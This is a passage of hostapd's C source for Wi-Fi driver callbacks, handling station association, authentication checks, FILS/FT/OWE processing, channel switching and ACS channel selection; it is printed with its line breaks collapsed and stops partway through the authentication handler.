hostapd / Callback functions for driver wrappers * Copyright (c) 2002-2013, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "radius/radius.h" #include "drivers/driver.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "common/wpa_ctrl.h" #include "crypto/random.h" #include "p2p/p2p.h" #include "wps/wps.h" #include "fst/fst.h" #include "wnm_ap.h" #include "hostapd.h" #include "ieee802_11.h" #include "ieee802_11_auth.h" #include "sta_info.h" #include "accounting.h" #include "tkip_countermeasures.h" #include "ieee802_1x.h" #include "wpa_auth.h" #include "wps_hostapd.h" #include "ap_drv_ops.h" #include "ap_config.h" #include "ap_mlme.h" #include "hw_features.h" #include "dfs.h" #include "beacon.h" #include "mbo_ap.h" #include "dpp_hostapd.h" #include "fils_hlp.h" #ifdef CONFIG_FILS void hostapd_notify_assoc_fils_finish(struct hostapd_data *hapd, struct sta_info *sta) { u16 reply_res = WLAN_STATUS_SUCCESS; struct ieee802_11_elems elems; u8 buf[IEEE80211_MAX_MMPDU_SIZE], *p = buf; int new_assoc; wpa_printf(MSG_DEBUG, "%s FILS: Finish association with " MACSTR, __func__, MAC2STR(sta->addr)); eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); if (!sta->fils_pending_assoc_req) return; ieee802_11_parse_elems(sta->fils_pending_assoc_req, sta->fils_pending_assoc_req_len, &elems, 0); if (!elems.fils_session) { wpa_printf(MSG_DEBUG, "%s failed to find FILS Session element", __func__); return; } p = hostapd_eid_assoc_fils_session(sta->wpa_sm, p, elems.fils_session, sta->fils_hlp_resp); reply_res = hostapd_sta_assoc(hapd, sta->addr, sta->fils_pending_assoc_is_reassoc, WLAN_STATUS_SUCCESS, buf, p - buf); ap_sta_set_authorized(hapd, sta, 1); new_assoc = (sta->flags & WLAN_STA_ASSOC) == 0; sta->flags |= WLAN_STA_AUTH | WLAN_STA_ASSOC; sta->flags &= ~WLAN_STA_WNM_SLEEP_MODE; hostapd_set_sta_flags(hapd, sta); wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FILS); ieee802_1x_notify_port_enabled(sta->eapol_sm, 1); hostapd_new_assoc_sta(hapd, sta, !new_assoc); os_free(sta->fils_pending_assoc_req); sta->fils_pending_assoc_req = NULL; sta->fils_pending_assoc_req_len = 0; wpabuf_free(sta->fils_hlp_resp); sta->fils_hlp_resp = NULL; wpabuf_free(sta->hlp_dhcp_discover); sta->hlp_dhcp_discover = NULL; fils_hlp_deinit(hapd); /* * Remove the station in case transmission of a success response fails * (the STA was added associated to the driver) or if the station was * previously added unassociated. */ if (reply_res != WLAN_STATUS_SUCCESS || sta->added_unassoc) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } } #endif /* CONFIG_FILS */ int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr, const u8 *req_ies, size_t req_ies_len, int reassoc) { struct sta_info *sta; int new_assoc, res; struct ieee802_11_elems elems; const u8 *ie; size_t ielen; #if defined(CONFIG_IEEE80211R_AP) || defined(CONFIG_IEEE80211W) || defined(CONFIG_FILS) u8 buf[sizeof(struct ieee80211_mgmt) + 1024]; u8 *p = buf; #endif /* CONFIG_IEEE80211R_AP || CONFIG_IEEE80211W || CONFIG_FILS */ u16 reason = WLAN_REASON_UNSPECIFIED; u16 status = WLAN_STATUS_SUCCESS; const u8 *p2p_dev_addr = NULL; if (addr == NULL) { /* * This could potentially happen with unexpected event from the * driver wrapper. This was seen at least in one case where the * driver ended up being set to station mode while hostapd was * running, so better make sure we stop processing such an * event here. */ wpa_printf(MSG_DEBUG, "hostapd_notif_assoc: Skip event with no address"); return -1; } random_add_randomness(addr, ETH_ALEN); hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "associated"); ieee802_11_parse_elems(req_ies, req_ies_len, &elems, 0); if (elems.wps_ie) { ie = elems.wps_ie - 2; ielen = elems.wps_ie_len + 2; wpa_printf(MSG_DEBUG, "STA included WPS IE in (Re)AssocReq"); } else if (elems.rsn_ie) { ie = elems.rsn_ie - 2; ielen = elems.rsn_ie_len + 2; wpa_printf(MSG_DEBUG, "STA included RSN IE in (Re)AssocReq"); } else if (elems.wpa_ie) { ie = elems.wpa_ie - 2; ielen = elems.wpa_ie_len + 2; wpa_printf(MSG_DEBUG, "STA included WPA IE in (Re)AssocReq"); #ifdef CONFIG_HS20 } else if (elems.osen) { ie = elems.osen - 2; ielen = elems.osen_len + 2; wpa_printf(MSG_DEBUG, "STA included OSEN IE in (Re)AssocReq"); #endif /* CONFIG_HS20 */ } else { ie = NULL; ielen = 0; wpa_printf(MSG_DEBUG, "STA did not include WPS/RSN/WPA IE in (Re)AssocReq"); } sta = ap_get_sta(hapd, addr); if (sta) { ap_sta_no_session_timeout(hapd, sta); accounting_sta_stop(hapd, sta); /* * Make sure that the previously registered inactivity timer * will not remove the STA immediately. */ sta->timeout_next = STA_NULLFUNC; } else { sta = ap_sta_add(hapd, addr); if (sta == NULL) { hostapd_drv_sta_disassoc(hapd, addr, WLAN_REASON_DISASSOC_AP_BUSY); return -1; } } sta->flags &= ~(WLAN_STA_WPS | WLAN_STA_MAYBE_WPS | WLAN_STA_WPS2); /* * ACL configurations to the drivers (implementing AP SME and ACL * offload) without hostapd's knowledge, can result in a disconnection * though the driver accepts the connection. Skip the hostapd check for * ACL if the driver supports ACL offload to avoid potentially * conflicting ACL rules. */ if (hapd->iface->drv_max_acl_mac_addrs == 0 && hostapd_check_acl(hapd, addr, NULL) != HOSTAPD_ACL_ACCEPT) { wpa_printf(MSG_INFO, "STA " MACSTR " not allowed to connect", MAC2STR(addr)); reason = WLAN_REASON_UNSPECIFIED; goto fail; } #ifdef CONFIG_P2P if (elems.p2p) { wpabuf_free(sta->p2p_ie); sta->p2p_ie = ieee802_11_vendor_ie_concat(req_ies, req_ies_len, P2P_IE_VENDOR_TYPE); if (sta->p2p_ie) p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); } #endif /* CONFIG_P2P */ #ifdef CONFIG_IEEE80211N #ifdef NEED_AP_MLME if (elems.ht_capabilities && (hapd->iface->conf->ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) { struct ieee80211_ht_capabilities *ht_cap = (struct ieee80211_ht_capabilities *) elems.ht_capabilities; if (le_to_host16(ht_cap->ht_capabilities_info) & HT_CAP_INFO_40MHZ_INTOLERANT) ht40_intolerant_add(hapd->iface, sta); } #endif /* NEED_AP_MLME */ #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_INTERWORKING if (elems.ext_capab && elems.ext_capab_len > 4) { if (elems.ext_capab[4] & 0x01) sta->qos_map_enabled = 1; } #endif /* CONFIG_INTERWORKING */ #ifdef CONFIG_HS20 wpabuf_free(sta->hs20_ie); if (elems.hs20 && elems.hs20_len > 4) { sta->hs20_ie = wpabuf_alloc_copy(elems.hs20 + 4, elems.hs20_len - 4); } else sta->hs20_ie = NULL; wpabuf_free(sta->roaming_consortium); if (elems.roaming_cons_sel) sta->roaming_consortium = wpabuf_alloc_copy( elems.roaming_cons_sel + 4, elems.roaming_cons_sel_len - 4); else sta->roaming_consortium = NULL; #endif /* CONFIG_HS20 */ #ifdef CONFIG_FST wpabuf_free(sta->mb_ies); if (hapd->iface->fst) sta->mb_ies = mb_ies_by_info(&elems.mb_ies); else sta->mb_ies = NULL; #endif /* CONFIG_FST */ mbo_ap_check_sta_assoc(hapd, sta, &elems); ap_copy_sta_supp_op_classes(sta, elems.supp_op_classes, elems.supp_op_classes_len); if (hapd->conf->wpa) { if (ie == NULL || ielen == 0) { #ifdef CONFIG_WPS if (hapd->conf->wps_state) { wpa_printf(MSG_DEBUG, "STA did not include WPA/RSN IE in (Re)Association Request - possible WPS use"); sta->flags |= WLAN_STA_MAYBE_WPS; goto skip_wpa_check; } #endif /* CONFIG_WPS */ wpa_printf(MSG_DEBUG, "No WPA/RSN IE from STA"); reason = WLAN_REASON_INVALID_IE; status = WLAN_STATUS_INVALID_IE; goto fail; } #ifdef CONFIG_WPS if (hapd->conf->wps_state && ie[0] == 0xdd && ie[1] >= 4 && os_memcmp(ie + 2, "\x00\x50\xf2\x04", 4) == 0) { struct wpabuf *wps; sta->flags |= WLAN_STA_WPS; wps = ieee802_11_vendor_ie_concat(ie, ielen, WPS_IE_VENDOR_TYPE); if (wps) { if (wps_is_20(wps)) { wpa_printf(MSG_DEBUG, "WPS: STA supports WPS 2.0"); sta->flags |= WLAN_STA_WPS2; } wpabuf_free(wps); } goto skip_wpa_check; } #endif /* CONFIG_WPS */ if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, p2p_dev_addr); if (sta->wpa_sm == NULL) { wpa_printf(MSG_ERROR, "Failed to initialize WPA state machine"); return -1; } res = wpa_validate_wpa_ie(hapd->wpa_auth, sta->wpa_sm, ie, ielen, elems.mdie, elems.mdie_len, elems.owe_dh, elems.owe_dh_len); if (res != WPA_IE_OK) { wpa_printf(MSG_DEBUG, "WPA/RSN information element rejected? (res %u)", res); wpa_hexdump(MSG_DEBUG, "IE", ie, ielen); if (res == WPA_INVALID_GROUP) { reason = WLAN_REASON_GROUP_CIPHER_NOT_VALID; status = WLAN_STATUS_GROUP_CIPHER_NOT_VALID; } else if (res == WPA_INVALID_PAIRWISE) { reason = WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID; status = WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; } else if (res == WPA_INVALID_AKMP) { reason = WLAN_REASON_AKMP_NOT_VALID; status = WLAN_STATUS_AKMP_NOT_VALID; } #ifdef CONFIG_IEEE80211W else if (res == WPA_MGMT_FRAME_PROTECTION_VIOLATION) { reason = WLAN_REASON_INVALID_IE; status = WLAN_STATUS_INVALID_IE; } else if (res == WPA_INVALID_MGMT_GROUP_CIPHER) { reason = WLAN_REASON_CIPHER_SUITE_REJECTED; status = WLAN_STATUS_CIPHER_REJECTED_PER_POLICY; } #endif /* CONFIG_IEEE80211W */ else { reason = WLAN_REASON_INVALID_IE; status = WLAN_STATUS_INVALID_IE; } goto fail; } #ifdef CONFIG_IEEE80211W if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && sta->sa_query_count > 0) ap_check_sa_query_timeout(hapd, sta); if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && (sta->auth_alg != WLAN_AUTH_FT)) { /* * STA has already been associated with MFP and SA * Query timeout has not been reached. Reject the * association attempt temporarily and start SA Query, * if one is not pending. */ if (sta->sa_query_count == 0) ap_sta_start_sa_query(hapd, sta); status = WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY; p = hostapd_eid_assoc_comeback_time(hapd, sta, p); hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); return 0; } if (wpa_auth_uses_mfp(sta->wpa_sm)) sta->flags |= WLAN_STA_MFP; else sta->flags &= ~WLAN_STA_MFP; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP if (sta->auth_alg == WLAN_AUTH_FT) { status = wpa_ft_validate_reassoc(sta->wpa_sm, req_ies, req_ies_len); if (status != WLAN_STATUS_SUCCESS) { if (status == WLAN_STATUS_INVALID_PMKID) reason = WLAN_REASON_INVALID_IE; if (status == WLAN_STATUS_INVALID_MDIE) reason = WLAN_REASON_INVALID_IE; if (status == WLAN_STATUS_INVALID_FTIE) reason = WLAN_REASON_INVALID_IE; goto fail; } } #endif /* CONFIG_IEEE80211R_AP */ } else if (hapd->conf->wps_state) { #ifdef CONFIG_WPS struct wpabuf *wps; if (req_ies) wps = ieee802_11_vendor_ie_concat(req_ies, req_ies_len, WPS_IE_VENDOR_TYPE); else wps = NULL; #ifdef CONFIG_WPS_STRICT if (wps && wps_validate_assoc_req(wps) < 0) { reason = WLAN_REASON_INVALID_IE; status = WLAN_STATUS_INVALID_IE; wpabuf_free(wps); goto fail; } #endif /* CONFIG_WPS_STRICT */ if (wps) { sta->flags |= WLAN_STA_WPS; if (wps_is_20(wps)) { wpa_printf(MSG_DEBUG, "WPS: STA supports WPS 2.0"); sta->flags |= WLAN_STA_WPS2; } } else sta->flags |= WLAN_STA_MAYBE_WPS; wpabuf_free(wps); #endif /* CONFIG_WPS */ #ifdef CONFIG_HS20 } else if (hapd->conf->osen) { if (elems.osen == NULL) { hostapd_logger( hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "No HS 2.0 OSEN element in association request"); return WLAN_STATUS_INVALID_IE; } wpa_printf(MSG_DEBUG, "HS 2.0: OSEN association"); if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { wpa_printf(MSG_WARNING, "Failed to initialize WPA state machine"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (wpa_validate_osen(hapd->wpa_auth, sta->wpa_sm, elems.osen - 2, elems.osen_len + 2) < 0) return WLAN_STATUS_INVALID_IE; #endif /* CONFIG_HS20 */ } #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled && (hapd->conf->wpa & 2) && elems.mbo && sta->cell_capa && !(sta->flags & WLAN_STA_MFP) && hapd->conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { wpa_printf(MSG_INFO, "MBO: Reject WPA2 association without PMF"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } #endif /* CONFIG_MBO */ #ifdef CONFIG_WPS skip_wpa_check: #endif /* CONFIG_WPS */ #ifdef CONFIG_IEEE80211R_AP p = wpa_sm_write_assoc_resp_ies(sta->wpa_sm, buf, sizeof(buf), sta->auth_alg, req_ies, req_ies_len); if (!p) { wpa_printf(MSG_DEBUG, "FT: Failed to write AssocResp IEs"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_FILS if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) { int delay_assoc = 0; if (!req_ies) return WLAN_STATUS_UNSPECIFIED_FAILURE; if (!wpa_fils_validate_fils_session(sta->wpa_sm, req_ies, req_ies_len, sta->fils_session)) { wpa_printf(MSG_DEBUG, "FILS: Session validation failed"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } res = wpa_fils_validate_key_confirm(sta->wpa_sm, req_ies, req_ies_len); if (res < 0) { wpa_printf(MSG_DEBUG, "FILS: Key Confirm validation failed"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (fils_process_hlp(hapd, sta, req_ies, req_ies_len) > 0) { wpa_printf(MSG_DEBUG, "FILS: Delaying Assoc Response (HLP)"); delay_assoc = 1; } else { wpa_printf(MSG_DEBUG, "FILS: Going ahead with Assoc Response (no HLP)"); } if (sta) { wpa_printf(MSG_DEBUG, "FILS: HLP callback cleanup"); eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); os_free(sta->fils_pending_assoc_req); sta->fils_pending_assoc_req = NULL; sta->fils_pending_assoc_req_len = 0; wpabuf_free(sta->fils_hlp_resp); sta->fils_hlp_resp = NULL; sta->fils_drv_assoc_finish = 0; } if (sta && delay_assoc && status == WLAN_STATUS_SUCCESS) { u8 *req_tmp; req_tmp = os_malloc(req_ies_len); if (!req_tmp) { wpa_printf(MSG_DEBUG, "FILS: buffer allocation failed for assoc req"); goto fail; } os_memcpy(req_tmp, req_ies, req_ies_len); sta->fils_pending_assoc_req = req_tmp; sta->fils_pending_assoc_req_len = req_ies_len; sta->fils_pending_assoc_is_reassoc = reassoc; sta->fils_drv_assoc_finish = 1; wpa_printf(MSG_DEBUG, "FILS: Waiting for HLP processing before sending (Re)Association Response frame to " MACSTR, MAC2STR(sta->addr)); eloop_register_timeout( 0, hapd->conf->fils_hlp_wait_time * 1024, fils_hlp_timeout, hapd, sta); return 0; } p = hostapd_eid_assoc_fils_session(sta->wpa_sm, p, elems.fils_session, sta->fils_hlp_resp); wpa_hexdump(MSG_DEBUG, "FILS Assoc Resp BUF (IEs)", buf, p - buf); } #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE if ((hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) && wpa_auth_sta_key_mgmt(sta->wpa_sm) == WPA_KEY_MGMT_OWE && elems.owe_dh) { u8 *npos; npos = owe_assoc_req_process(hapd, sta, elems.owe_dh, elems.owe_dh_len, p, sizeof(buf) - (p - buf), &reason); if (npos) p = npos; if (!npos && reason == WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED) { status = WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); return 0; } if (!npos || reason != WLAN_STATUS_SUCCESS) goto fail; } #endif /* CONFIG_OWE */ #if defined(CONFIG_IEEE80211R_AP) || defined(CONFIG_FILS) || defined(CONFIG_OWE) hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); if (sta->auth_alg == WLAN_AUTH_FT || sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) ap_sta_set_authorized(hapd, sta, 1); #else /* CONFIG_IEEE80211R_AP || CONFIG_FILS */ /* Keep compiler silent about unused variables */ if (status) { } #endif /* CONFIG_IEEE80211R_AP || CONFIG_FILS */ new_assoc = (sta->flags & WLAN_STA_ASSOC) == 0; sta->flags |= WLAN_STA_AUTH | WLAN_STA_ASSOC; sta->flags &= ~WLAN_STA_WNM_SLEEP_MODE; hostapd_set_sta_flags(hapd, sta); if (reassoc && (sta->auth_alg == WLAN_AUTH_FT)) wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FT); #ifdef CONFIG_FILS else if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FILS); #endif /* CONFIG_FILS */ else wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC); hostapd_new_assoc_sta(hapd, sta, !new_assoc); ieee802_1x_notify_port_enabled(sta->eapol_sm, 1); #ifdef CONFIG_P2P if (req_ies) { p2p_group_notif_assoc(hapd->p2p_group, sta->addr, req_ies, req_ies_len); } #endif /* CONFIG_P2P */ return 0; fail: #ifdef CONFIG_IEEE80211R_AP hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); #endif /* CONFIG_IEEE80211R_AP */ hostapd_drv_sta_disassoc(hapd, sta->addr, reason); ap_free_sta(hapd, sta); return -1; } void hostapd_notif_disassoc(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta; if (addr == NULL) { /* * This could potentially happen with unexpected event from the * driver wrapper. This was seen at least in one case where the * driver ended up reporting a station mode event while hostapd * was running, so better make sure we stop processing such an * event here. */ wpa_printf(MSG_DEBUG, "hostapd_notif_disassoc: Skip event with no address"); return; } hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "disassociated"); sta = ap_get_sta(hapd, addr); if (sta == NULL) { wpa_printf(MSG_DEBUG, "Disassociation notification for unknown STA " MACSTR, MAC2STR(addr)); return; } ap_sta_set_authorized(hapd, sta, 0); sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC); wpa_auth_sm_event(sta->wpa_sm, WPA_DISASSOC); sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); ap_free_sta(hapd, sta); } void hostapd_event_sta_low_ack(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta = ap_get_sta(hapd, addr); if (!sta || !hapd->conf->disassoc_low_ack || sta->agreed_to_steer) return; hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "disconnected due to excessive missing ACKs"); hostapd_drv_sta_disassoc(hapd, addr, WLAN_REASON_DISASSOC_LOW_ACK); ap_sta_disassociate(hapd, sta, WLAN_REASON_DISASSOC_LOW_ACK); } void hostapd_event_sta_opmode_changed(struct hostapd_data *hapd, const u8 *addr, enum smps_mode smps_mode, enum chan_width chan_width, u8 rx_nss) { struct sta_info *sta = ap_get_sta(hapd, addr); const char *txt; if (!sta) return; switch (smps_mode) { case SMPS_AUTOMATIC: txt = "automatic"; break; case SMPS_OFF: txt = "off"; break; case SMPS_DYNAMIC: txt = "dynamic"; break; case SMPS_STATIC: txt = "static"; break; default: txt = NULL; break; } if (txt) { wpa_msg(hapd->msg_ctx, MSG_INFO, STA_OPMODE_SMPS_MODE_CHANGED MACSTR " %s", MAC2STR(addr), txt); } switch (chan_width) { case CHAN_WIDTH_20_NOHT: txt = "20(no-HT)"; break; case CHAN_WIDTH_20: txt = "20"; break; case CHAN_WIDTH_40: txt = "40"; break; case CHAN_WIDTH_80: txt = "80"; break; case CHAN_WIDTH_80P80: txt = "80+80"; break; case CHAN_WIDTH_160: txt = "160"; break; default: txt = NULL; break; } if (txt) { wpa_msg(hapd->msg_ctx, MSG_INFO, STA_OPMODE_MAX_BW_CHANGED MACSTR " %s", MAC2STR(addr), txt); } if (rx_nss != 0xff) { wpa_msg(hapd->msg_ctx, MSG_INFO, STA_OPMODE_N_SS_CHANGED MACSTR " %d", MAC2STR(addr), rx_nss); } } void hostapd_event_ch_switch(struct hostapd_data *hapd, int freq, int ht, int offset, int width, int cf1, int cf2) { #ifdef NEED_AP_MLME int channel, chwidth, is_dfs; u8 seg0_idx = 0, seg1_idx = 0; hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "driver had channel switch: freq=%d, ht=%d, vht_ch=0x%x, offset=%d, width=%d (%s), cf1=%d, cf2=%d", freq, ht, hapd->iconf->ch_switch_vht_config, offset, width, channel_width_to_string(width), cf1, cf2); hapd->iface->freq = freq; channel = hostapd_hw_get_channel(hapd, freq); if (!channel) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "driver switched to bad channel!"); return; } switch (width) { case CHAN_WIDTH_80: chwidth = VHT_CHANWIDTH_80MHZ; break; case CHAN_WIDTH_80P80: chwidth = VHT_CHANWIDTH_80P80MHZ; break; case CHAN_WIDTH_160: chwidth = VHT_CHANWIDTH_160MHZ; break; case CHAN_WIDTH_20_NOHT: case CHAN_WIDTH_20: case CHAN_WIDTH_40: default: chwidth = VHT_CHANWIDTH_USE_HT; break; } switch (hapd->iface->current_mode->mode) { case HOSTAPD_MODE_IEEE80211A: if (cf1 > 5000) seg0_idx = (cf1 - 5000) / 5; if (cf2 > 5000) seg1_idx = (cf2 - 5000) / 5; break; default: ieee80211_freq_to_chan(cf1, &seg0_idx); ieee80211_freq_to_chan(cf2, &seg1_idx); break; } hapd->iconf->channel = channel; hapd->iconf->ieee80211n = ht; if (!ht) { hapd->iconf->ieee80211ac = 0; } else if (hapd->iconf->ch_switch_vht_config) { /* CHAN_SWITCH VHT config */ if (hapd->iconf->ch_switch_vht_config & CH_SWITCH_VHT_ENABLED) hapd->iconf->ieee80211ac = 1; else if (hapd->iconf->ch_switch_vht_config & CH_SWITCH_VHT_DISABLED) hapd->iconf->ieee80211ac = 0; } hapd->iconf->ch_switch_vht_config = 0; hapd->iconf->secondary_channel = offset; hapd->iconf->vht_oper_chwidth = chwidth; hapd->iconf->vht_oper_centr_freq_seg0_idx = seg0_idx; hapd->iconf->vht_oper_centr_freq_seg1_idx = seg1_idx; is_dfs = ieee80211_is_dfs(freq, hapd->iface->hw_features, hapd->iface->num_hw_features); if (hapd->csa_in_progress && freq == hapd->cs_freq_params.freq) { hostapd_cleanup_cs_params(hapd); ieee802_11_set_beacon(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, AP_CSA_FINISHED "freq=%d dfs=%d", freq, is_dfs); } else if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) { wpa_msg(hapd->msg_ctx, MSG_INFO, AP_CSA_FINISHED "freq=%d dfs=%d", freq, is_dfs); } #endif /* NEED_AP_MLME */ } void hostapd_event_connect_failed_reason(struct hostapd_data *hapd, const u8 *addr, int reason_code) { switch (reason_code) { case MAX_CLIENT_REACHED: wpa_msg(hapd->msg_ctx, MSG_INFO, AP_REJECTED_MAX_STA MACSTR, MAC2STR(addr)); break; case BLOCKED_CLIENT: wpa_msg(hapd->msg_ctx, MSG_INFO, AP_REJECTED_BLOCKED_STA MACSTR, MAC2STR(addr)); break; } } #ifdef CONFIG_ACS void hostapd_acs_channel_selected(struct hostapd_data *hapd, struct acs_selected_channels *acs_res) { int ret, i; int err = 0; if (hapd->iconf->channel) { wpa_printf(MSG_INFO, "ACS: Channel was already set to %d", hapd->iconf->channel); return; } if (!hapd->iface->current_mode) { for (i = 0; i < hapd->iface->num_hw_features; i++) { struct hostapd_hw_modes *mode = &hapd->iface->hw_features[i]; if (mode->mode == acs_res->hw_mode) { hapd->iface->current_mode = mode; break; } } if (!hapd->iface->current_mode) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "driver selected to bad hw_mode"); err = 1; goto out; } } hapd->iface->freq = hostapd_hw_get_freq(hapd, acs_res->pri_channel); if (!acs_res->pri_channel) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "driver switched to bad channel"); err = 1; goto out; } hapd->iconf->channel = acs_res->pri_channel; hapd->iconf->acs = 1; if (acs_res->sec_channel == 0) hapd->iconf->secondary_channel = 0; else if (acs_res->sec_channel < acs_res->pri_channel) hapd->iconf->secondary_channel = -1; else if (acs_res->sec_channel > acs_res->pri_channel) hapd->iconf->secondary_channel = 1; else { wpa_printf(MSG_ERROR, "Invalid secondary channel!"); err = 1; goto out; } if (hapd->iface->conf->ieee80211ac) { /* set defaults for backwards compatibility */ hapd->iconf->vht_oper_centr_freq_seg1_idx = 0; hapd->iconf->vht_oper_centr_freq_seg0_idx = 0; hapd->iconf->vht_oper_chwidth = VHT_CHANWIDTH_USE_HT; if (acs_res->ch_width == 80) { hapd->iconf->vht_oper_centr_freq_seg0_idx = acs_res->vht_seg0_center_ch; hapd->iconf->vht_oper_chwidth = VHT_CHANWIDTH_80MHZ; } else if (acs_res->ch_width == 160) { if (acs_res->vht_seg1_center_ch == 0) { hapd->iconf->vht_oper_centr_freq_seg0_idx = acs_res->vht_seg0_center_ch; hapd->iconf->vht_oper_chwidth = VHT_CHANWIDTH_160MHZ; } else { hapd->iconf->vht_oper_centr_freq_seg0_idx = acs_res->vht_seg0_center_ch; hapd->iconf->vht_oper_centr_freq_seg1_idx = acs_res->vht_seg1_center_ch; hapd->iconf->vht_oper_chwidth = VHT_CHANWIDTH_80P80MHZ; } } } out: ret = hostapd_acs_completed(hapd->iface, err); if (ret) { wpa_printf(MSG_ERROR, "ACS: Possibly channel configuration is invalid"); } } #endif /* CONFIG_ACS */ int hostapd_probe_req_rx(struct hostapd_data *hapd, const u8 *sa, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal) { size_t i; int ret = 0; if (sa == NULL || ie == NULL) return -1; random_add_randomness(sa, ETH_ALEN); for (i = 0; hapd->probereq_cb && i < hapd->num_probereq_cb; i++) { if (hapd->probereq_cb[i].cb(hapd->probereq_cb[i].ctx, sa, da, bssid, ie, ie_len, ssi_signal) > 0) { ret = 1; break; } } return ret; } #ifdef HOSTAPD #ifdef CONFIG_IEEE80211R_AP static void hostapd_notify_auth_ft_finish(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 status, const u8 *ies, size_t ies_len) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, dst); if (sta == NULL) return; hostapd_logger(hapd, dst, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (FT)"); sta->flags |= WLAN_STA_AUTH; hostapd_sta_auth(hapd, dst, auth_transaction, status, ies, ies_len); } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_FILS static void hostapd_notify_auth_fils_finish(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub) { if (resp == WLAN_STATUS_SUCCESS) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (FILS)"); sta->flags |= WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); sta->auth_alg = WLAN_AUTH_FILS_SK; mlme_authenticate_indication(hapd, sta); } else { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication failed (FILS)"); } hostapd_sta_auth(hapd, sta->addr, 2, resp, data ? wpabuf_head(data) : NULL, data ? wpabuf_len(data) : 0); wpabuf_free(data); } #endif /* CONFIG_FILS */ static void hostapd_notif_auth(struct hostapd_data *hapd, struct auth_info *rx_auth) { struct sta_info *sta; u16 status = WLAN_STATUS_SUCCESS; u8 resp_ies[2 + WLAN_AUTH_CHALLENGE_LEN]; size_t resp_ies_len = 0; sta = ap_get_sta(hapd, rx_auth->peer); if (!sta) { sta = ap_sta_add(hapd, rx_auth->peer); if (sta == NULL) { status = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } } sta->flags &= ~WLAN_STA_PREAUTH; 